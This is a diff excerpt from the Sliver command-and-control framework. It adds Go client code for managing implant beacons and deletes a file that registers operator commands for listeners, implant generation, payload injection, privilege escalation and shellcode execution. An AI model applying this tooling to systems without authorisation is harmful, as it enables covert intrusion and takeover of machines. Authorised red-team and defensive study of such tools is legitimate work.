fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
}
+128
View File
@@ -0,0 +1,128 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
// ErrBeaconNotFound
ErrBeaconNotFound = errors.New("no beacon found for this ID")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
return beacon, nil
}
}
return nil, ErrBeaconNotFound
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
return beacons, nil
}
+85
View File
@@ -0,0 +1,85 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pruneBeacons := []*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
nextCheckin := time.Unix(beacon.NextCheckin, 0)
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
}
if len(pruneBeacons) == 0 {
con.PrintInfof("No beacons to prune.\n")
return
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
}
}
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
}
+41
View File
@@ -0,0 +1,41 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
+67
View File
@@ -0,0 +1,67 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
con.Printf(console.UpN+console.Clearln+"\r", 1)
}()
for {
select {
case <-done:
return
case <-time.After(time.Second):
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
}
con.Printf("\nPress enter to stop.\n")
con.Printf(console.UpN+"\r", len(lines)+2)
}
}
}
func waitForInput() <-chan bool {
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
done <- true
}()
return done
}
-763
View File
@@ -1,763 +0,0 @@
package command
/*
This file contains all of the code that binds a given string/flags/etc. to a
command implementation function.
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same paramenter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
have a --timeout.
* Add a long-form help template to `client/help`
*/
import (
"fmt"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/help"
"github.com/desertbit/grumble"
)
const (
defaultMTLSLPort = 8888
defaultHTTPLPort = 80
defaultHTTPSLPort = 443
defaultReconnect = 60
defaultMaxErrors = 1000
)
// BindCommands - Bind commands to a App
func BindCommands(app *grumble.App, server *core.SliverServer) {
app.SetPrintHelp(helpCmd) // Responsible for display long-form help templates, etc.
// [ Jobs ] -----------------------------------------------------------------
app.AddCommand(&grumble.Command{
Name: consts.JobsStr,
Help: "Job control",
LongHelp: help.GetHelpFor(consts.JobsStr),
Flags: func(f *grumble.Flags) {
f.Int("k", "kill", -1, "kill a background job")
f.Bool("K", "kill-all", false, "kill all jobs")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
jobs(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.MtlsStr,
Help: "Start an mTLS listener",
LongHelp: help.GetHelpFor(consts.MtlsStr),
Flags: func(f *grumble.Flags) {
f.String("s", "server", "", "interface to bind server to")
f.Int("l", "lport", defaultMTLSLPort, "tcp listen port")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
startMTLSListener(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.DnsStr,
Help: "Start a DNS listener",
LongHelp: help.GetHelpFor(consts.DnsStr),
Flags: func(f *grumble.Flags) {
f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
f.Bool("c", "no-canaries", false, "disable dns canary detection")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
startDNSListener(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.HttpStr,
Help: "Start an HTTP listener",
LongHelp: help.GetHelpFor(consts.HttpStr),
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.Int("l", "lport", defaultHTTPLPort, "tcp listen port")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
startHTTPListener(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.HttpsStr,
Help: "Start an HTTPS listener",
LongHelp: help.GetHelpFor(consts.HttpsStr),
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.Int("l", "lport", defaultHTTPSLPort, "tcp listen port")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
startHTTPSListener(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.PlayersStr,
Help: "List players",
LongHelp: help.GetHelpFor(consts.PlayersStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
playersCmd(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Commands ] --------------------------------------------------------------
app.AddCommand(&grumble.Command{
Name: consts.SessionsStr,
Help: "Session management",
LongHelp: help.GetHelpFor(consts.SessionsStr),
Flags: func(f *grumble.Flags) {
f.String("i", "interact", "", "interact with a sliver")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
sessions(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
LongHelp: help.GetHelpFor(consts.BackgroundStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
background(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.KillStr,
Help: "Kill a remote sliver process",
LongHelp: help.GetHelpFor(consts.KillStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
kill(ctx, server.RPC)
fmt.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force kill, does not clean up")
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.InfoStr,
Help: "Get info about sliver",
LongHelp: help.GetHelpFor(consts.InfoStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
info(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.UseStr,
Help: "Switch the active sliver",
LongHelp: help.GetHelpFor(consts.UseStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
use(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ShellStr,
Help: "Start an interactive shell",
LongHelp: help.GetHelpFor(consts.ShellStr),
Flags: func(f *grumble.Flags) {
f.Bool("y", "no-pty", false, "disable use of pty on macos/linux")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
shell(ctx, server)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.GenerateStr,
Help: "Generate a sliver binary",
LongHelp: help.GetHelpFor(consts.GenerateStr),
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("t", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("r", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
generate(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.NewProfileStr,
Help: "Save a new sliver profile",
LongHelp: help.GetHelpFor(consts.NewProfileStr),
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
f.String("m", "mtls", "", "mtls domain(s)")
f.String("t", "http", "", "http[s] domain(s)")
f.String("n", "dns", "", "dns domain(s)")
f.String("c", "canary", "", "canary domain(s)")
f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("r", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries) and 'shellcode' (windows only)")
f.String("p", "name", "", "profile name")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
newProfile(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.RegenerateStr,
Help: "Regenerate target sliver",
LongHelp: help.GetHelpFor(consts.RegenerateStr),
AllowArgs: true,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "directory/file to the binary to")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
regenerate(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ProfilesStr,
Help: "List existing profiles",
LongHelp: help.GetHelpFor(consts.ProfilesStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
profiles(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ProfileGenerateStr,
Help: "Generate Sliver from a profile",
LongHelp: help.GetHelpFor(consts.ProfileGenerateStr),
Flags: func(f *grumble.Flags) {
f.String("p", "name", "", "profile name")
f.String("s", "save", "", "directory/file to the binary to")
},
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
profileGenerate(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ListSliverBuildsStr,
Help: "List old Sliver builds",
LongHelp: help.GetHelpFor(consts.ListSliverBuildsStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
listSliverBuilds(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ListCanariesStr,
Help: "List previously generated canaries",
LongHelp: help.GetHelpFor(consts.ListCanariesStr),
Flags: func(f *grumble.Flags) {
f.Bool("b", "burned", false, "show only triggered/burned canaries")
},
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
canaries(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.MsfStr,
Help: "Execute an MSF payload in the current process",
LongHelp: help.GetHelpFor(consts.MsfStr),
Flags: func(f *grumble.Flags) {
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("h", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
msf(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.MsfInjectStr,
Help: "Inject an MSF payload into a process",
LongHelp: help.GetHelpFor(consts.MsfInjectStr),
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "pid to inject into")
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("h", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
msfInject(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.PsStr,
Help: "List remote processes",
LongHelp: help.GetHelpFor(consts.PsStr),
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "filter based on pid")
f.String("e", "exe", "", "filter based on executable name")
f.String("o", "owner", "", "filter based on owner")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
ps(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.PingStr,
Help: "Test connection to Sliver (does not use ICMP)",
LongHelp: help.GetHelpFor(consts.PingStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
ping(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.GetPIDStr,
Help: "Get Sliver pid",
LongHelp: help.GetHelpFor(consts.GetPIDStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
getPID(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.GetUIDStr,
Help: "Get Sliver process UID",
LongHelp: help.GetHelpFor(consts.GetUIDStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
getUID(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.GetGIDStr,
Help: "Get Sliver process GID",
LongHelp: help.GetHelpFor(consts.GetGIDStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
getGID(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.WhoamiStr,
Help: "Get Sliver user execution context",
LongHelp: help.GetHelpFor(consts.WhoamiStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
whoami(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
LongHelp: help.GetHelpFor(consts.LsStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
ls(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a file or directory",
LongHelp: help.GetHelpFor(consts.RmStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
rm(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.MkdirStr,
Help: "Make a directory",
LongHelp: help.GetHelpFor(consts.MkdirStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
mkdir(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.CdStr,
Help: "Change directory",
LongHelp: help.GetHelpFor(consts.CdStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
cd(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.PwdStr,
Help: "Print working directory",
LongHelp: help.GetHelpFor(consts.PwdStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
pwd(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.CatStr,
Help: "Dump file to stdout",
LongHelp: help.GetHelpFor(consts.CatStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
cat(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.DownloadStr,
Help: "Download a file",
LongHelp: help.GetHelpFor(consts.DownloadStr),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", 360, "command timeout in seconds")
},
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
download(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.UploadStr,
Help: "Upload a file",
LongHelp: help.GetHelpFor(consts.UploadStr),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", 360, "command timeout in seconds")
},
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
upload(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ProcdumpStr,
Help: "Dump process memory",
LongHelp: help.GetHelpFor(consts.ProcdumpStr),
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.Int("t", "timeout", 360, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
procdump(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ImpersonateStr,
Help: "Run a new process in the context of the designated user (Windows Only)",
LongHelp: help.GetHelpFor(consts.ImpersonateStr),
Flags: func(f *grumble.Flags) {
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
f.String("p", "process", "", "process to start")
f.String("a", "args", "", "arguments for the process")
},
Run: func(ctx *grumble.Context) error {
fmt.Println()
impersonate(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverWinHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ElevateStr,
Help: "Spawns a new sliver session as an elevated process (UAC bypass/Windows Only)",
LongHelp: help.GetHelpFor(consts.ElevateStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
elevate(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverWinHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.GetSystemStr,
Help: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)",
LongHelp: help.GetHelpFor(consts.GetSystemStr),
Run: func(ctx *grumble.Context) error {
fmt.Println()
getsystem(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverWinHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ExecuteAssemblyStr,
Help: "Loads and executes a .NET assembly in a child process (Windows Only)",
LongHelp: help.GetHelpFor(consts.ExecuteAssemblyStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
executeAssembly(ctx, server.RPC)
fmt.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", 30, "Time to wait before killing the hosting process (seconds)")
},
HelpGroup: consts.SliverWinHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.ExecuteShellcodeStr,
Help: "Executes the given shellcode in the sliver process",
LongHelp: help.GetHelpFor(consts.ExecuteShellcodeStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
executeShellcode(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.MigrateStr,
Help: "Migrate into a remote process",
LongHelp: help.GetHelpFor(consts.MigrateStr),
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
migrate(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.SliverWinHelpGroup,
})
app.AddCommand(&grumble.Command{
Name: consts.WebsitesStr,
Help: "Host a static file on a website (used with HTTP C2)",
LongHelp: help.GetHelpFor(consts.WebsitesStr),
Flags: func(f *grumble.Flags) {
f.String("w", "website", "", "website name")
f.String("t", "content-type", "", "mime content-type (if blank use file ext.)")
f.String("p", "web-path", "/", "http path to host file at")
f.String("c", "content", "", "local file path/dir (must use --recursive for dir)")
f.Bool("r", "recursive", false, "recursively add content from dir, --web-path is prefixed")
},
AllowArgs: true,
Run: func(ctx *grumble.Context) error {
fmt.Println()
websites(ctx, server.RPC)
fmt.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
}
-121
View File
@@ -1,121 +0,0 @@
package command
import (
"strconv"
"time"
clientpb "github.com/bishopfox/sliver/protobuf/client"
sliverpb "github.com/bishopfox/sliver/protobuf/sliver"
"github.com/AlecAivazis/survey"
"github.com/golang/protobuf/proto"
)
const (
// ANSI Colors
normal = "\033[0m"
black = "\033[30m"
red = "\033[31m"
green = "\033[32m"
orange = "\033[33m"
blue = "\033[34m"
purple = "\033[35m"
cyan = "\033[36m"
